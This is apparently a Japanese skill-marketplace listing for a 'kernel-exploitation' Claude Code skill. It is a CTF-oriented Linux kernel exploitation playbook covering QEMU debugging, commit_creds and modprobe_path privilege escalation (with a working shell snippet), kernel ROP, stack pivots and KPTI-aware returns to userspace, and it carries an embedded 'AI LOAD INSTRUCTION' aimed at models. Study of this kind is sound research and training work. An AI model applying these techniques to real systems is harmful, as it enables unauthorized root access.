mcpField
K
kernel-exploitation

kernel-exploitation

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

kernel-exploitation について

セキュリティ研究者やCTF参加者向けのLinuxカーネル悪用ガイドです。QEMU環境、脆弱性の種類、権限昇格、カーネルROP、ユーザー空間への復帰を扱い、カーネル固有の緩和策にも触れます。

主な機能

  1. 01QEMUカーネル環境の構築
  2. 02一般的なカーネル脆弱性の分類
  3. 03権限昇格のターゲット
  4. 04カーネルROPとスタックピボット
  5. 05SMEP、SMAP、KPTIへの考慮
  6. 06ユーザー空間への安全な復帰

活用シーン

  1. 01カーネルデバッグ環境の構築
  2. 02UAF、OOB、競合状態の分析
  3. 03カーネル権限昇格エクスプロイトの開発
  4. 04カーネル緩和策への対処を計画

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill kernel-exploitation

インストール後、Claude Code で/kernel-exploitationを入力して読み込まれたか確認します。

同梱ファイルKERNEL_HEAP_TECHNIQUES.mdKERNEL_MITIGATION_BYPASS.md

詳細

スキル:Linux カーネルエクスプロイト — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:エキスパート向けカーネルエクスプロイト技術です。環境設定(QEMU)、脆弱性の種類、権限昇格の標的、カーネル ROP、ret2usr、スタックピボット、クロスキャッシュ攻撃を扱います。ctf-wiki のカーネルモード関連セクションと、実際のカーネル CVE をもとに要点をまとめています。ベースモデルは、ユーザーモードとカーネルモードのエクスプロイト制約を混同しやすく、特に SMEP/SMAP/KPTI に関して注意が必要です。

0. 関連項目

  • binary-protection-bypass — ユーザー空間の保護(NX、ASLR)はカーネルコンテキストにも適用されます
  • stack-overflow-and-rop — カーネル ROP では、多くのユーザー空間 ROP の概念を再利用します
  • heap-exploitation — カーネルの SLUB は、概念的にユーザー空間のヒープと関連しています
  • linux-privilege-escalation — エクスプロイトを使わないカーネルの権限昇格手法
高度な参考資料

1. エクスプロイトのモデル

┌─────────────────────────────────────────────────────┐
│  1. Find Vulnerability                              │
│     (UAF, OOB, race, integer overflow, type confusion)│
├─────────────────────────────────────────────────────┤
│  2. Build Primitive                                 │
│     (arbitrary read, arbitrary write, controlled RIP)│
├─────────────────────────────────────────────────────┤
│  3. Bypass Mitigations                              │
│     (KASLR, SMEP, SMAP, KPTI)                     │
├─────────────────────────────────────────────────────┤
│  4. Escalate Privileges                             │
│     (commit_creds, modprobe_path, namespace escape)  │
├─────────────────────────────────────────────────────┤
│  5. Return to Userspace Cleanly                     │
│     (KPTI trampoline, iretq/sysretq, swapgs)       │
└─────────────────────────────────────────────────────┘

2. 環境設定

QEMU とカスタムカーネル
# Download and compile kernel
wget https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.1.tar.xz
tar xf linux-6.1.tar.xz && cd linux-6.1
make defconfig
# Disable mitigations for easier debugging:
scripts/config --disable RANDOMIZE_BASE      # KASLR
scripts/config --disable RANDOMIZE_LAYOUT    # FG-KASLR
scripts/config --enable DEBUG_INFO
make -j$(nproc)

# Boot with QEMU
qemu-system-x86_64 \
  -kernel bzImage \
  -initrd rootfs.cpio.gz \
  -append "console=ttyS0 nokaslr quiet" \
  -nographic \
  -s -S \    # GDB server on :1234, pause at start
  -monitor /dev/null \
  -m 256M \
  -cpu kvm64,+smep,+smap
GDB によるデバッグ
gdb vmlinux
target remote :1234
# Load kernel symbols
add-symbol-file vmlinux 0xffffffff81000000  # typical .text base
# Breakpoints
b commit_creds
b *0xffffffff81234567
# pwndbg/GEF work with kernel debugging
initramfs の変更
mkdir rootfs && cd rootfs
cpio -idmv < ../rootfs.cpio.gz
# Edit init script, add exploit binary
cp /path/to/exploit ./
# Repack
find . | cpio -o --format=newc | gzip > ../rootfs.cpio.gz

3. よくある脆弱性の種類

種類説明カーネルの例
UAFオブジェクトが解放された後も、ポインターからアクセスできますCVE-2022-0847(DirtyPipe)
OOB Read/Write配列のインデックスまたはサイズのチェックが欠落していますCVE-2021-22555(Netfilter)
競合状態チェックと使用の間に TOCTOU が発生しますCVE-2016-5195(DirtyCow)
整数オーバーフローサイズ計算がオーバーフローします各種 ioctl ハンドラー
型の取り違えオブジェクトが誤った型にキャストされますCVE-2023-0179(Netfilter)
二重解放オブジェクトが二度解放されますSLUB アロケーターのエクスプロイト
スタックオーバーフローカーネルスタックのバッファーオーバーフローまれ(カーネルスタックは小さい:8KB~16KB)

4. 権限昇格の標的

方法 1:commit_creds(prepare_kernel_cred(0))
// Kernel function that sets current process credentials to root
void (*commit_creds)(void *) = COMMIT_CREDS_ADDR;
void *(*prepare_kernel_cred)(void *) = PREPARE_KERNEL_CRED_ADDR;
commit_creds(prepare_kernel_cred(0));  // cred with uid=0, gid=0

カーネル ROP チェーンでの同等の方法:

pop rdi; ret
0                          # NULL → prepare_kernel_cred(NULL) = init_cred
prepare_kernel_cred addr
mov rdi, rax; ... ; ret    # or pop rdi + known location
commit_creds addr
kpti_trampoline / swapgs+iretq  # return to userspace
方法 2:modprobe_path の上書き
// modprobe_path = "/sbin/modprobe" in kernel .data
// Overwrite to "/tmp/x" → trigger with unknown binary format → kernel runs /tmp/x as root
# Setup:
echo '#!/bin/sh' > /tmp/x
echo 'cp /flag /tmp/flag && chmod 777 /tmp/flag' >> /tmp/x
chmod +x /tmp/x
# Trigger (unknown binary format):
echo -ne '\xff\xff\xff\xff' > /tmp/dummy
chmod +x /tmp/dummy
/tmp/dummy  # kernel calls modprobe_path → /tmp/x runs as root
方法 3:cred 構造体の直接上書き

現在のタスクの cred ポインターを特定でき、任意の書き込みが可能な場合は、cred 構造体の uid/gid フィールドを直接ゼロにします。

方法 4:名前空間からの脱出(コンテナー)

init_nsproxy を上書きするか、名前空間ポインターを操作して、コンテナーの隔離から脱出します。


5. カーネル ROP

RIP を制御できる箇所
箇所仕組み
破損した関数ポインターUAF オブジェクトに vtable のようなディスパッチ機構があり、ポインターを上書きします
破損したリターンアドレスカーネルスタックのオーバーフロー(まれ)
破損した ops 構造体モジュールの操作構造体(file_operations、seq_operations)
seq_operations の乗っ取り(CTF でよくあるパターン)
struct seq_operations {
    void * (*start)(struct seq_file *, loff_t *);
    void (*stop)(struct seq_file *, void *);
    void * (*next)(struct seq_file *, void *, loff_t *);
    int (*show)(struct seq_file *, void *);
};
// Size: 0x20 (fits in kmalloc-32)
// Open /proc/self/stat → allocates seq_operations
// UAF overwrite start → controlled RIP when read() is called
カーネルでのスタックピボット
ガジェット用途
xchg eax, esp; retRAX の下位 32 ビットにあるアドレスへピボットします(既知のアドレスにある mmap バッファー)
mov rsp, [rdi+X]; ...RDI が制御可能なデータを指している場合
push rdi; pop rsp; ...RDI(乗っ取った関数の最初の引数)へピボットします

重要:SMEP 有効時は、ユーザー空間のコードを実行できません。ROP チェーンでは、カーネルのガジェットのみを使用する必要があります。


6. ret2usr(SMEP 登場前)

カーネルコンテキストからユーザー空間の関数を直接呼び出します:

void escalate() {
    commit_creds(prepare_kernel_cred(0));
}
// Overwrite kernel function pointer to point to escalate() in user memory

阻止要因:SMEP(Supervisor Mode Execution Prevention)— カーネルはユーザーマッピングされたページを実行できません。


7. ユーザー空間への復帰

カーネル内で権限を昇格した後、root シェルを取得するには、正常にユーザー空間へ戻る必要があります。

iretq 経由(従来の方法)
; ROP chain ending:
swapgs                     ; swap GS base back to userspace
iretq                      ; pops: RIP, CS, RFLAGS, RSP, SS from stack
; Stack must contain: [user_rip][user_cs][user_rflags][user_rsp][user_ss]
# Save userspace state before entering kernel
user_cs = 0x33
user_ss = 0x2b
user_rflags = # saved via pushfq before exploit
user_rsp = # saved RSP
user_rip = # address of post-exploit function (e.g., get_shell)
KPTI トランポリン経由(KPTI 有効時)

KPTI はカーネルとユーザーのページテーブルを分離します。ユーザーページがマッピングされていないため、swapgs; iretq を直接実行するとクラッシュします。カーネル独自の復帰トランポリンを使用してください:

# KPTI trampoline (in kernel at known offset):
# swapgs_restore_regs_and_return_to_usermode:
#   mov rdi, rsp
#   ...
#   swapgs
#   iretq
# Jump to trampoline with [RIP, CS, RFLAGS, RSP, SS] on stack
シグナルハンドラー経由での復帰

エクスプロイトを実行する前にシグナルハンドラーを設定します。commit_creds の後にシグナルを発生させると、シグナルハンドラー経由でユーザー空間に戻ります(手動での swapgs/iretq を回避できます)。


8. QEMU デバッグのヒント

コマンド目的
-s -S:1234 で GDB サーバーを起動し、一時停止します
-monitor /dev/nullQEMU モニターを無効にします(出力が見やすくなります)
-append "nokaslr"デバッグ用に KASLR を無効にします
-cpu kvm64,+smep,+smap特定の CPU 機能を有効にします
info registers (GDB)すべてのレジスター値を表示します
maintenance packet Qqemu.PhyMemMode:1GDB で物理メモリーを読み取ります
cat /proc/kallsymsカーネルのシンボルアドレス(読み取り可能な場合)
cat /sys/kernel/notesカーネルのビルド ID

9. 判断ツリー

Kernel vulnerability identified
├── What type?
│   ├── UAF → identify freed object, spray replacement (see KERNEL_HEAP_TECHNIQUES)
│   ├── OOB → determine read/write range, target adjacent objects
│   ├── Race condition → reliable trigger (userfaultfd, FUSE)
│   ├── Integer overflow → how does it translate to OOB or allocation confusion?
│   └── Type confusion → what can the confused type access?
│
├── Build primitive
│   ├── Controlled RIP? → kernel ROP or ret2usr (if no SMEP)
│   ├── Arbitrary read? → leak KASLR base, then controlled RIP
│   ├── Arbitrary write? → modprobe_path overwrite (simplest)
│   │                      or overwrite cred structure directly
│   └── Limited write? → target function pointer in known object
│
├── Mitigations (see KERNEL_MITIGATION_BYPASS.md)
│   ├── KASLR → need info leak first (/proc/kallsyms if readable, timing, or OOB read)
│   ├── SMEP → kernel ROP only (no user code exec)
│   ├── SMAP → cannot read user data from kernel (use copy_from_user gadget)
│   ├── KPTI → use KPTI trampoline for clean return
│   └── FG-KASLR → function offsets randomized (use data section targets like modprobe_path)
│
├── Escalation method
│   ├── Have controlled RIP + KASLR bypass → ROP chain: prepare_kernel_cred(0) → commit_creds
│   ├── Have arbitrary write only → modprobe_path overwrite
│   ├── Have arbitrary write + KASLR bypass → overwrite cred uid/gid to 0
│   └── Have controlled function call → call commit_creds(prepare_kernel_cred(0))
│
└── Return to userspace
    ├── KPTI disabled → swapgs; iretq (ROP ending)
    ├── KPTI enabled → jump to KPTI trampoline
    └── Alternative → signal handler + process_one_work return path

コメント